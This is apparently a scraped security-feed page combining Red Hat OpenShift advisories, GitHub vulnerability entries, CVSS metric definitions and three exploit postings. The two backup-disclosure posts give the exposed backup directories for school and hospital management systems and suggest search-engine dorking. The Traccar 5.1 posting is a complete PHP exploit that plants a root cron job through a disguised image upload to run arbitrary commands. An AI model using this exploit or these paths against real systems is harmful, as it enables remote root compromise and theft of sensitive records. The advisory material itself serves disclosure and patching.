Red Hat Security Advisory 2024-6824-03 - Red Hat OpenShift Container Platform release 4.16.14 is now available with updates to packages and images that fix several bugs and add enhancements.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6824.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: OpenShift Container Platform 4.16.14 security updateAdvisory ID:        RHSA-2024:6824-03Product:            Red Hat OpenShift EnterpriseAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6824Issue date:         2024-09-25Revision:           03CVE Names:          CVE-2024-3727====================================================================Summary: Red Hat OpenShift Container Platform release 4.16.14 is now available with updates to packages and images that fix several bugs and add enhancements.This release includes a security update for Red Hat OpenShift Container Platform 4.16.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat OpenShift Container Platform is Red Hat's cloud computingKubernetes application platform solution designed for on-premise or privatecloud deployments.Security Fix(es):* containers/image: digest type does not guarantee valid type(CVE-2024-3727)* golang-protobuf: encoding/protojson, internal/encoding/json: infiniteloop in protojson.Unmarshal when unmarshaling certain forms of invalid JSON(CVE-2024-24786)* Bare Metal Operator: BMO can expose particularly named secrets from othernamespaces via BMH CRD (CVE-2024-43803)For more details about the security issue(s), including the impact, a CVSSscore, acknowledgments, and other related information, refer to the CVEpage(s)listed in the References section.Solution:CVEs:CVE-2024-3727References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2268046https://bugzilla.redhat.com/show_bug.cgi?id=2274767https://bugzilla.redhat.com/show_bug.cgi?id=2302487https://bugzilla.redhat.com/show_bug.cgi?id=2309536https://issues.redhat.com/browse/OCPBUGS-24386https://issues.redhat.com/browse/OCPBUGS-34518https://issues.redhat.com/browse/OCPBUGS-36855https://issues.redhat.com/browse/OCPBUGS-37046https://issues.redhat.com/browse/OCPBUGS-37763https://issues.redhat.com/browse/OCPBUGS-37937https://issues.redhat.com/browse/OCPBUGS-38021https://issues.redhat.com/browse/OCPBUGS-38058https://issues.redhat.com/browse/OCPBUGS-38502https://issues.redhat.com/browse/OCPBUGS-38911https://issues.redhat.com/browse/OCPBUGS-39082https://issues.redhat.com/browse/OCPBUGS-39179https://issues.redhat.com/browse/OCPBUGS-39287https://issues.redhat.com/browse/OCPBUGS-39496https://issues.redhat.com/browse/OCPBUGS-41540https://issues.redhat.com/browse/OCPBUGS-41555https://issues.redhat.com/browse/OCPBUGS-41619https://issues.redhat.com/browse/OCPBUGS-41677https://issues.redhat.com/browse/OCPBUGS-41806https://issues.redhat.com/browse/OCPBUGS-41886https://issues.redhat.com/browse/OCPBUGS-41910

Red Hat Security Advisory 2024-6824-03

Multi Branch School Management System version 3.5 suffers from a backup disclosure vulnerability.

**Multi Branch School Management System 3.5 Backup Disclosure**

Posted Sep 25, 2024

Authored by indoushka

Multi Branch School Management System version 3.5 suffers from a backup disclosure vulnerability.

tags | exploit, info disclosure

SHA-256 | b4c3fb3408f8d7a80baf2b5ec0b035520c60a8b287134c61abe01863834639ea

Download | Favorite | View

**Multi Branch School Management System 3.5 Backup Disclosure**

    =============================================================================================================================================| # Title     : Multi Branch School Management System 3.5 Backup Disclosure Vulnerability                                                   || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://school.ramomcoder.com/                                                                                              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Appears to leave backups in a world accessible directory under the document root.  [+] use Payload : /uploads/db_backup/[+] http://127.0.0.1/Multi/uploads/db_backup/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

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Multi Branch School Management System 3.5 Backup Disclosure

Red Hat Security Advisory 2024-6818-03 - Red Hat OpenShift Container Platform release 4.15.34 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6818.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: OpenShift Container Platform 4.15.34 bug fix and security update  
Advisory ID:        RHSA-2024:6818-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:6818  
Issue date:         2024-09-25  
Revision:           03  
CVE Names:          CVE-2024-7409  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.15.34 is now available with updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container Platform 4.15.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the container images for Red Hat OpenShift Container Platform 4.15.34. See the following advisory for the RPM packages for this release:

https://access.redhat.com/errata/RHBA-2024:6821

Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:

https://docs.openshift.com/container-platform/4.15/release_notes/ocp-4-15-release-notes.html

Security Fix(es):

* QEMU: Denial of Service via Improper Synchronization in QEMU NBD Server  
During Socket Closure (CVE-2024-7409)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.  
All OpenShift Container Platform 4.15 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.15/updating/updating_a_cluster/updating-cluster-cli.html

Solution:

CVEs:

CVE-2024-7409

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2302487  
https://issues.redhat.com/browse/OCPBUGS-35869  
https://issues.redhat.com/browse/OCPBUGS-35922  
https://issues.redhat.com/browse/OCPBUGS-37464  
https://issues.redhat.com/browse/OCPBUGS-37727  
https://issues.redhat.com/browse/OCPBUGS-38065  
https://issues.redhat.com/browse/OCPBUGS-38108  
https://issues.redhat.com/browse/OCPBUGS-38593  
https://issues.redhat.com/browse/OCPBUGS-41340  
https://issues.redhat.com/browse/OCPBUGS-41598  
https://issues.redhat.com/browse/OCPBUGS-41635  
https://issues.redhat.com/browse/OCPBUGS-41701  
https://issues.redhat.com/browse/OCPBUGS-41809  
https://issues.redhat.com/browse/OCPBUGS-41819  
https://issues.redhat.com/browse/OCPBUGS-41946  
https://issues.redhat.com/browse/OCPBUGS-41947  
https://issues.redhat.com/browse/OCPBUGS-41981

Red Hat Security Advisory 2024-6818-03

Red Hat Security Advisory 2024-6811-03 - Red Hat OpenShift Container Platform release 4.13.51 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6811.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: OpenShift Container Platform 4.13.51 bug fix and security update  
Advisory ID:        RHSA-2024:6811-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:6811  
Issue date:         2024-09-25  
Revision:           03  
CVE Names:          CVE-2023-45142  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.13.51 is now available with updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container Platform 4.13.

Red Hat Product Security has rated this update as having a security impact of  Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the container images for Red Hat OpenShift Container Platform 4.13.51. See the following advisory for the RPM packages for this release:

https://access.redhat.com/errata/RHBA-2024:6813

Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:

https://docs.openshift.com/container-platform/4.13/release_notes/ocp-4-13-release-notes.html

Security Fix(es):

* golang: net/http, x/net/http2: unlimited number of CONTINUATION frames  
causes DoS (CVE-2023-45288)  
* opentelemetry: DoS vulnerability in otelhttp (CVE-2023-45142)  
* opentelemetry-go-contrib: DoS vulnerability in otelgrpc due to unbound  
cardinality metrics (CVE-2023-47108)  
* go-retryablehttp: url might write sensitive information to log file  
(CVE-2024-6104)  
* QEMU: Denial of Service via Improper Synchronization in QEMU NBD Server  
During Socket Closure (CVE-2024-7409)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

All OpenShift Container Platform 4.13 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.13/updating/updating-cluster-cli.html

Solution:

CVEs:

CVE-2023-45142

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2245180  
https://bugzilla.redhat.com/show_bug.cgi?id=2251198  
https://bugzilla.redhat.com/show_bug.cgi?id=2268273  
https://bugzilla.redhat.com/show_bug.cgi?id=2294000  
https://bugzilla.redhat.com/show_bug.cgi?id=2302487  
https://issues.redhat.com/browse/OCPBUGS-37921  
https://issues.redhat.com/browse/OCPBUGS-38254  
https://issues.redhat.com/browse/OCPBUGS-38264  
https://issues.redhat.com/browse/OCPBUGS-41515  
https://issues.redhat.com/browse/OCPBUGS-41594  
https://issues.redhat.com/browse/OCPBUGS-41723  
https://issues.redhat.com/browse/OCPBUGS-41786

Red Hat Security Advisory 2024-6811-03

Complete Multi Hospital Management System version 1.0 suffers from a backup disclosure vulnerability.

**Complete Multi Hospital Management System 1.0 Backup Disclosure**

Posted Sep 25, 2024

Authored by indoushka

Complete Multi Hospital Management System version 1.0 suffers from a backup disclosure vulnerability.

tags | exploit, info disclosure

SHA-256 | e760cf3c5b44d7d8984817fcf92204fd9912a026b5d02720406cc72f12ac70ed

Download | Favorite | View

**Complete Multi Hospital Management System 1.0 Backup Disclosure**

    =============================================================================================================================================| # Title     : Complete Multi Hospital Management System 1.0 Backup Disclosure Vulnerability                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/free-download-complete-multi-hospital-management-system/                                |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Appears to leave backups in a world accessible directory under the document root.  [+] use Payload : /files/backups/[+] http://127.0.0.1/multihospital/files/backups/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

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*   CGI (1,047)
*   Code Execution (7,919)
*   Conference (693)
*   Cracker (845)
*   CSRF (3,431)
*   DoS (25,293)
*   Encryption (2,395)
*   Exploit (54,302)
*   File Inclusion (4,275)
*   File Upload (1,020)
*   Firewall (822)
*   Info Disclosure (2,922)
*   Intrusion Detection (919)
*   Java (3,156)
*   JavaScript (908)
*   Kernel (7,304)
*   Local (14,858)
*   Magazine (587)
*   Overflow (13,225)
*   Perl (1,435)
*   PHP (5,281)
*   Proof of Concept (2,412)
*   Protocol (3,749)
*   Python (1,661)
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Complete Multi Hospital Management System 1.0 Backup Disclosure

Traccar version 5.1 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Traccar 5.1 php code injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.traccar.org/old-versions/                                                                                       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This PHP script assumes you're targeting a similar HTTP service that allows file uploads and interacting with REST APIs.[+] save payload as poc.php[+] usage : C:\www\test>php poc.php[+] Line 117 : login info : 'root', 'toor', 'indoushka@packetstormsecurity.com', '/');[+] payload :<?phpclass TraccarExploit {    private $host;    private $port;    private $username;    private $password;    private $email;    private $target_uri;    public function __construct($host, $port = 8082, $username = '', $password = '', $email = '', $target_uri = '/') {        $this->host = $host;        $this->port = $port;        $this->username = $username;        $this->password = $password;        $this->email = $email;        $this->target_uri = $target_uri;    }    public function send_request($method, $uri, $data = null, $ctype = 'application/json') {        $url = "http://{$this->host}:{$this->port}{$uri}";        $headers = [            "Content-Type: {$ctype}",        ];        $ch = curl_init($url);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        $response = curl_exec($ch);        curl_close($ch);        return json_decode($response, true);    }    public function register_user() {        echo "Registering new user...\n";        $body = json_encode([            'name' => $this->username,            'email' => $this->email,            'password' => $this->password,            'totpKey' => null        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/users', $body);        if (!$res || $res['code'] !== 200) {            die("Failed to register user. Response: " . print_r($res, true));        }        echo "User registered successfully.\n";    }    public function authenticate() {        echo "Authenticating...\n";        $data = http_build_query([            'email' => $this->email,            'password' => $this->password        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/session', $data, 'application/x-www-form-urlencoded');        if (!$res || $res['code'] !== 200) {            die("Failed to authenticate. Response: " . print_r($res, true));        }        echo "Authenticated successfully.\n";    }    public function upload_cron_file($cmd) {        echo "Adding new device...\n";        $body = json_encode([            'name' => bin2hex(random_bytes(8)),            'uniqueId' => bin2hex(random_bytes(8))        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/devices', $body);        if (!$res || $res['code'] !== 200) {            die("Failed to add device. Response: " . print_r($res, true));        }        $device_id = $res['id'];        $cron_job = "* * * * * root /bin/bash -c '{$cmd}'\n";        $cron_filename = bin2hex(random_bytes(6));        echo "Uploading crontab file...\n";        $file_data = [            'file' => curl_file_create("data://text/plain;base64," . base64_encode($cron_job), 'image/png', "{$cron_filename}.png")        ];        $this->send_request('POST', $this->target_uri . "api/devices/{$device_id}/image", $file_data, 'multipart/form-data');        echo "Cronjob file uploaded successfully. Waiting for execution...\n";    }    public function exploit($cmd) {        $this->register_user();        $this->authenticate();        $this->upload_cron_file($cmd);    }}// Usage example:$exploit = new TraccarExploit('127.0.0.1', 8082, 'root', 'toor', 'indoushka@packetstormsecurity.com', '/');$exploit->exploit('id'); // Replace 'id' with your desired command to execute?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Traccar 5.1 Code Injection

Unquoted Search Path or Element vulnerability in Grafana Agent (Flow mode) on Windows allows Privilege Escalation from Local User to SYSTEM.
This issue affects Agent Flow before 0.43.3.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-m5gv-m5f9-wgv4: Grafana Agent (Flow mode) on Windows has Unquoted Search Path or Element vulnerability

Unquoted Search Path or Element vulnerability in Grafana Alloy on Windows allows Privilege Escalation from Local User to SYSTEM.
This issue affects Alloy: before 1.3.4, from 1.4.0-rc.0 and prior to 1.4.1.

GHSA-chqx-36rm-rf8h: Grafana Alloy on Windows has Unquoted Search Path or Element vulnerability

A remote command execution (RCE) vulnerability in promptr v6.0.7 allows attackers to execute arbitrary commands via a crafted URL.

GHSA-hwxp-6qf7-q3rc: Remote command execution in promptr

sqlite-vec v0.1.1 was discovered to contain a heap buffer overflow via the npy_token_next function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted file.

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.

Attack complexity: More severe for the least complex attacks.

Privileges required: More severe if no privileges are required.

User interaction: More severe when no user interaction is required.

Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.

Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.

Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.

Availability: More severe when the loss of impacted component availability is highest.

Tag

#vulnerability